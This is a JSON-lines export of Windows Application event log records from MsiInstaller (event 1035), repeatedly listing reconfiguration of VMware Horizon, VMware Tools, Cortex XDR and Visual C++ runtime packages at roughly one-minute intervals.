{"@timestamp":1657401490475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171397}}
{"@timestamp":1657401490503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171398}}
{"@timestamp":1657401490534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171399}}
{"@timestamp":1657401490561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171400}}
{"@timestamp":1657401490590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171401}}
{"@timestamp":1657401490627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171402}}
{"@timestamp":1657401490654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171403}}
{"@timestamp":1657401550480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171404}}
{"@timestamp":1657401550507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171405}}
{"@timestamp":1657401550557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171406}}
{"@timestamp":1657401550596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171407}}
{"@timestamp":1657401550624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171408}}
{"@timestamp":1657401550655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171409}}
{"@timestamp":1657401550681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171410}}
{"@timestamp":1657401550706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171411}}
{"@timestamp":1657401550742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171412}}
{"@timestamp":1657401550771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171413}}
{"@timestamp":1657401610453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171414}}
{"@timestamp":1657401610479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171415}}
{"@timestamp":1657401610529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171416}}
{"@timestamp":1657401610569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171417}}
{"@timestamp":1657401610597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171418}}
{"@timestamp":1657401610627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171419}}
{"@timestamp":1657401610656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171420}}
{"@timestamp":1657401610683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171421}}
{"@timestamp":1657401610719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171422}}
{"@timestamp":1657401610746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171423}}
{"@timestamp":1657401670521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171424}}
{"@timestamp":1657401670548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171425}}
{"@timestamp":1657401670599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171426}}
{"@timestamp":1657401670639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171427}}
{"@timestamp":1657401670668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171428}}
{"@timestamp":1657401670698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171429}}
{"@timestamp":1657401670725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171430}}
{"@timestamp":1657401670751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171431}}
{"@timestamp":1657401670787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171432}}
{"@timestamp":1657401670817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171433}}
{"@timestamp":1657401730654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171434}}
{"@timestamp":1657401730680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171435}}
{"@timestamp":1657401730729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171436}}
{"@timestamp":1657401730770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171437}}
{"@timestamp":1657401730800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171438}}
{"@timestamp":1657401730831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171439}}
{"@timestamp":1657401730859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171440}}
{"@timestamp":1657401730886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171441}}
{"@timestamp":1657401730923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171442}}
{"@timestamp":1657401730954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171443}}
{"@timestamp":1657401790501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171444}}
{"@timestamp":1657401790527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171445}}
{"@timestamp":1657401790578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171446}}
{"@timestamp":1657401790618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171447}}
{"@timestamp":1657401790647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171448}}
{"@timestamp":1657401790679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171449}}
{"@timestamp":1657401790706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171450}}
{"@timestamp":1657401790733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171451}}
{"@timestamp":1657401790769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171452}}
{"@timestamp":1657401790796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171453}}
{"@timestamp":1657401850572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171454}}
{"@timestamp":1657401850599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171455}}
{"@timestamp":1657401850648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171456}}
{"@timestamp":1657401850688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171457}}
{"@timestamp":1657401850716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171458}}
{"@timestamp":1657401850745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171459}}
{"@timestamp":1657401850773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171460}}
{"@timestamp":1657401850799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171461}}
{"@timestamp":1657401850836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171462}}
